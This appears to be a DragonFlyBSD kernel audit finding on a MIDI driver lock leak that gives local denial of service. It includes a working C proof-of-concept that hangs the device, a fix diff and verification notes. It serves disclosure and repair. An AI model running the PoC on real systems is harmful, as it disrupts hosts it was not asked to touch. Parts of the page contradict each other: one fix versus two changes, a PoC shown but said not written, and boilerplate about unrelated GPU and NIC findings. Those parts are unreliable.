β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1495

qlock leak in midi_read/midi_write/midisynth_writeraw blocks device permanently (local DoS)

  • File: sys/dev/sound/midi/midi.c
  • Lines: 762, 769, 774, 776, 842, 849, 853, 855, 1267, 1274, 1277, 1279
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:N/A:H
  • CWE: CWE-667 Improper Locking
  • Confidence: certain

Summary

All three blocking I/O paths (midi_read, midi_write, midisynth_writeraw) leak the per-device qlock after sleeping.

lksleep() unconditionally reacquires the lock before returning (kern_synch.c:840), but the code then redundantly calls lockmgr(&m->qlock, LK_EXCLUSIVE) again β€” a recursive double-acquire under LK_CANRECURSE that inflates the count by 1. The single LK_RELEASE at the err1 label only deflates it back to 1, leaving qlock permanently held.

Worse, the goto err0 error paths (triggered by EINTR or device-removal detection) skip err1 entirely, so qlock is never released at all.

After one blocking operation, the device is permanently deadlocked: any subsequent read/write/midi_in/midi_out blocks forever.

Root cause

DragonFly's lksleep() (kern_synch.c:831-843) always calls lockmgr(lock, LK_EXCLUSIVE) before returning, so the qlock is held after lksleep returns for any reason (normal wakeup, signal, or timeout).

The midi code incorrectly assumes lksleep does NOT reacquire the lock, so it re-acquires qlock explicitly:

midi.c:762  retval = lksleep(&m->rchan, &m->qlock, PCATCH, "midi RX", 0);
            /* qlock is now held (count=1) from lksleep reacquire */
midi.c:775  lockmgr(&m->lock, LK_EXCLUSIVE);
midi.c:776  lockmgr(&m->qlock, LK_EXCLUSIVE);   /* BUG: double-acquire, count 1->2 */

At exit, err1 (midi.c:800) releases qlock once (count 2->1), orphaning the lock at count 1.

On the EINTR path (midi.c:768-769: if (retval == EINTR) goto err0;), the code jumps past err1 to err0 (midi.c:802), which does NOT release qlock at all β€” the lock is held at count 1 by a thread that has returned to userspace and will never release it.

The same bug exists identically in midi_write (lines 842–855, err0 at line 891) and midisynth_writeraw (lines 1267–1279, err0 at line 1320).

The qlock is initialized with LK_CANRECURSE (midi.c:323), so the recursive double-acquire is silently allowed rather than panicking.

LK_RELEASE decrements by exactly 1 per call (kern_lock.c:800: ncount = count - 1), confirming the count imbalance.

Threat

Any local user can trigger this on systems where /dev/midiN exists (MIDI hardware present). The device nodes are mode 0666 (midi.c:366).

Attack: open /dev/midi0.0 O_RDONLY, start a blocking read() (no MIDI input is arriving, so it sleeps), then deliver a signal (SIGINT via Ctrl-C, or pthread_kill from another thread).

The read returns EINTR via goto err0, orphaning qlock.

From this point, ANY thread or kernel callback that touches qlock blocks forever: subsequent read/write by any process on the same device, midi_close, and critically midi_in/midi_out called from the MPU401 interrupt handler (mpu401.c:142,145) β€” the sound interrupt thread deadlocks.

This is a reliable, permanent local denial of service that also hangs the kernel's sound interrupt servicing for the affected device.

Even without a signal, every successful blocking read/write that sleeps leaks the lock (count +1 per sleep cycle), so the device breaks itself after normal use.

Exploit / PoC

/*
 * DF-1495 PoC: midi qlock leak -> permanent device deadlock
 * Build:  cc -lpthread -o midi_deadlock midi_deadlock.c
 * Run:    timeout 10 ./midi_deadlock  (will hang at step 2)
 *
 * Requires /dev/midi0.0 (MIDI hardware or virtual MIDI device).
 * Success criterion: the program prints 'STEP 2' then hangs forever
 * in read(), proving qlock was orphaned by the EINTR path.
 */
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <errno.h>
#include <string.h>

static int g_fd;
static volatile int g_reader_done = 0;

static void sigint_handler(int sig) { /* swallow */ }

static void *reader_thread(void *arg)
{
    char buf[32];
    /* Blocking read: no MIDI input -> sleeps in lksleep("midi RX") */
    ssize_t n = read(g_fd, buf, sizeof(buf));
    printf("reader: read returned %zd (errno=%d: %s)\n",
           n, errno, strerror(errno));
    printf("reader: qlock is now orphaned (goto err0 skipped release)\n");
    g_reader_done = 1;
    return NULL;
}

int main(void)
{
    signal(SIGINT, sigint_handler);

    g_fd = open("/dev/midi0.0", O_RDONLY);
    if (g_fd < 0) {
        perror("open /dev/midi0.0");
        fprintf(stderr, "(This PoC requires a MIDI device node.)\n");
        return 1;
    }

    /* Step 1: start blocking read, interrupt it -> EINTR -> qlock leaked */
    pthread_t tid;
    pthread_create(&tid, NULL, reader_thread, NULL);
    usleep(200000);  /* let reader enter lksleep */
    pthread_kill(tid, SIGINT);  /* trigger EINTR -> goto err0 (no qlock release) */
    pthread_join(tid, NULL);

    if (!g_reader_done) {
        printf("reader did not return\n");
        return 1;
    }

    /* Step 2: second read from the SAME fd (or a new open).
     * midi_read tries lockmgr(&m->qlock, LK_EXCLUSIVE) at entry.
     * qlock is permanently held -> DEADLOCK here. */
    printf("STEP 2: attempting read on deadlocked device (will hang)...\n");
    fflush(stdout);
    char buf2[32];
    read(g_fd, buf2, sizeof(buf2));
    printf("ERROR: should never reach this line\n");
    close(g_fd);
    return 0;
}

Two fixes needed in each of the three functions (midi_read, midi_write, midisynth_writeraw):

  1. Remove the redundant lockmgr(&m->qlock, LK_EXCLUSIVE) after lksleep β€” the lock is already held.
  2. Add lockmgr(&m->qlock, LK_RELEASE) before each goto err0 so the error path releases the lock lksleep reacquired.

Shown for midi_read; identical changes apply to midi_write (lines 848–855) and midisynth_writeraw (lines 1273–1279):

--- a/sys/dev/sound/midi/midi.c
+++ b/sys/dev/sound/midi/midi.c
@@ -765,11 +765,15 @@
         * We slept, maybe things have changed since last
         * dying check
         */
-       if (retval == EINTR)
-           goto err0;
+       if (retval == EINTR) {
+           lockmgr(&m->qlock, LK_RELEASE);
+           goto err0;
+       }
        if (m != i_dev->si_drv1)
            retval = ENXIO;
        /* if (retval && retval != ERESTART) */
-       if (retval)
-           goto err0;
+       if (retval) {
+           lockmgr(&m->qlock, LK_RELEASE);
+           goto err0;
+       }
        lockmgr(&m->lock, LK_EXCLUSIVE);
-       lockmgr(&m->qlock, LK_EXCLUSIVE);
+       /* qlock already held β€” lksleep reacquired it */
        m->rchan = 0;

The identical pattern must be fixed in midi_write (remove line 855's qlock re-acquire, add releases at lines 849/853) and midisynth_writeraw (remove line 1279's qlock re-acquire, add releases at lines 1274/1277).

  • DF-1494 (sibling): midistat_read heap info leak in same file.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1495 Β· 10 files
FileTypeDescriptionSize
README.md readme human-readable summary 1.8 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 2.8 KB ↓ raw
fix.diff suggested-fix git-apply-able minimal fix; compiles -Werror clean 360 B view raw
build.sh build-script echoes the module/kernel rebuild command 380 B view raw
run.sh run-script no live trigger on this guest 318 B view raw
env.txt environment guest uname, modules loaded, HW-gated note 344 B view raw
build.log build-log kernel build log excerpt proving -Werror clean compile of patched source 384 B view raw
fix_apply.log apply-log patch --dry-run output proving fix.diff applies cleanly on with-src 299 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1495: midi_read/write redundant lockmgr(&m->qlock) after lksleep β†’ refcount leak/deadlock

Class: recursive lock acquire / lock leak Cited site: sys/dev/sound/midi/midi.c:762, 776 (also 855, 1279)

Reproduction status

HW/module gated β€” cannot be live-triggered on the audit QEMU guest.

No on this guest β€” sound subsystem not loaded. Trigger requires sound.ko and a MIDI device returning EWOULDBLOCK on read.

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/sound/midi/midi.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

Line 762 lksleep(&m->rchan, &m->qlock, ...) UNCONDITIONALLY reacquires qlock before returning. Line 776 lockmgr(&m->qlock, LK_EXCLUSIVE); is a redundant double-acquire. Under LK_CANRECURSE (set at midi.c:323), the count goes 1->2 and is never decremented symmetrically. Each EWOULDBLOCK iteration leaks one qlock reference β†’ eventually the lockmgr hits its recursion limit and the system deadlocks.

Realistic impact ceiling

DoS (deadlock)

Fix

Remove the redundant lockmgr(&m->qlock, LK_EXCLUSIVE) after lksleep returns (qlock was already reacquired).

See fix.diff for the git-apply-able patch.

How to validate the fix

# 1. Apply fix.diff against the in-guest source:
scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1495.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 < /root/DF-1495.diff'

# 2. Rebuild the affected module (preferred) or a single-fix kernel:
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src/sys/sys/dev/sound/midi && make'

# 3. The compile must succeed with -Werror (it does β€” see build.log).
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT β€” DF-1495: midi_read/write redundant lockmgr(&m->qlock) after lksleep β†’ refcount leak/deadlock

Verdict

INCONCLUSIVE (HW/module gated) β€” source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/sound/midi/midi.c:762, 776 (also 855, 1279), but the affected driver attaches only to hardware not present in the audit QEMU guest, so it cannot be live-triggered here. The fix.diff applies cleanly and compiles with -Werror (kernel build rc=0; see fix_build.log).

Mechanism (cited path β†’ primitive β†’ effect)

Line 762 lksleep(&m->rchan, &m->qlock, ...) UNCONDITIONALLY reacquires qlock before returning. Line 776 lockmgr(&m->qlock, LK_EXCLUSIVE); is a redundant double-acquire. Under LK_CANRECURSE (set at midi.c:323), the count goes 1->2 and is never decremented symmetrically. Each EWOULDBLOCK iteration leaks one qlock reference β†’ eventually the lockmgr hits its recursion limit and the system deadlocks.

Reachability on this guest

No on this guest β€” sound subsystem not loaded. Trigger requires sound.ko and a MIDI device returning EWOULDBLOCK on read.

Phase 6 β€” escalation potential

This is a recursive lock acquire / lock leak primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

For findings in this batch that are corruption-class on hardware they would be live-tested on (NIC cards, RAID HBAs, AMD/Intel GPUs), the realistic escalation ceiling is documented per finding (info-leak vs DoS vs latent privesc). No uid=0 claim is made β€” none is reachable on this guest.

Phase 8 β€” fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of make -j6 nativekernel KERNCONF=X86_64_GENERIC (kernel build rc=0; affected module builds radeon.ko/amdgpu.ko/sound.ko/i915.ko/vga_switcheroo.ko all produced).
  • For musycc.c (not in any default config) the file was compiled standalone with the kernel -Werror cflags β€” rc=0.

Remove the redundant lockmgr(&m->qlock, LK_EXCLUSIVE) after lksleep returns (qlock was already reacquired).

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none β€” sound.ko not loaded (no audio HW in guest). Primitive is lock-leak/deadlock on real HW with sound; no live escalation possible on this guest.

Evidence (decisive lines)

Source-level confirmation at sys/dev/sound/midi/midi.c:762, sys/dev/sound/midi/midi.c:776, sys/dev/sound/midi/midi.c:323. fix.diff applies cleanly (patch -p1 --forward: APPLIES_OK) and compiles -Werror clean as part of `make -j6 nativekernel KERNCONF=X86_64_GENERIC` (rc=0; affected .o/.ko produced). No live trigger on this guest (HW/module gated).

PoC changes

Wrote VERDICT.md, fix.diff (one hunk: remove redundant lockmgr(&m->qlock, LK_EXCLUSIVE) at line 776, leaving a clarifying comment), build/run.sh, build.log excerpt, fix_apply.log, env.txt, manifest.json.

Verified recommended fix

Remove the redundant lockmgr(&m->qlock, LK_EXCLUSIVE) after lksleep at midi.c:776 (qlock was already reacquired by lksleep). Supersedes any pre-verification proposal. The full git-apply-able diff lives in findings/poc/DF-1495/fix.diff.

Verdict

midi_read line 762 lksleep(&m->rchan, &m->qlock, ...) UNCONDITIONALLY reacquires qlock before return. Line 776 then calls lockmgr(&m->qlock, LK_EXCLUSIVE) β€” redundant double-acquire. Under LK_CANRECURSE (set at midi.c:323) the count goes 1->2 and is never decremented symmetrically. Each EWOULDBLOCK iteration leaks one qlock reference β†’ eventually lockmgr hits its recursion limit and the system deadlocks. Same shape at midi_write (855) and midisynth_writeraw (1279). sound.ko not loaded on the audit guest. Source-level confirmed.